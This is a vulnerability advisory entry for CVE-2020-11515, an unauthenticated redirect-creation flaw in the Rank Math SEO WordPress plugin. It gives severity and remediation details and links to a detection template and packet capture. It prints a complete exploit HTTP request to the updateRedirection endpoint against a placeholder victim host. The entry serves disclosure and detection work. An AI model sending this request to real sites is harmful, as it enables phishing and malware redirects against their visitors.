| Title | Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint |
|---|---|
| Author | s4e-io |
| Severity | Medium |
| Impact | Unauthenticated attackers can create arbitrary redirect URIs on the WordPress site, which can be used for phishing attacks, SEO manipulation, or distributing malware by redirecting users to malicious external sites. |
| Remediation | Update the Rank Math SEO plugin to version 1.0.41 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00857 |
| CVE ID | CVE-2020-11515 |
| CWE ID | CWE-601 |
| Tags | cve cve2020 wordpress wordfence redirect seo-by-rank-math wp-plugin wp vkev vuln |
The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an “Open Redirect” issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
POST /wp-json/rankmath/v1/updateRedirection HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 127
Content-Type: application/json
Accept-Encoding: gzip
{
"redirectionUrl": "http://fvrqlnuardgiotopfjfh.kyxkc",
"redirectionSources": "/gegorafzqc",
"hasRedirect": "true"
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11515.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11515.pcap
N/AN/A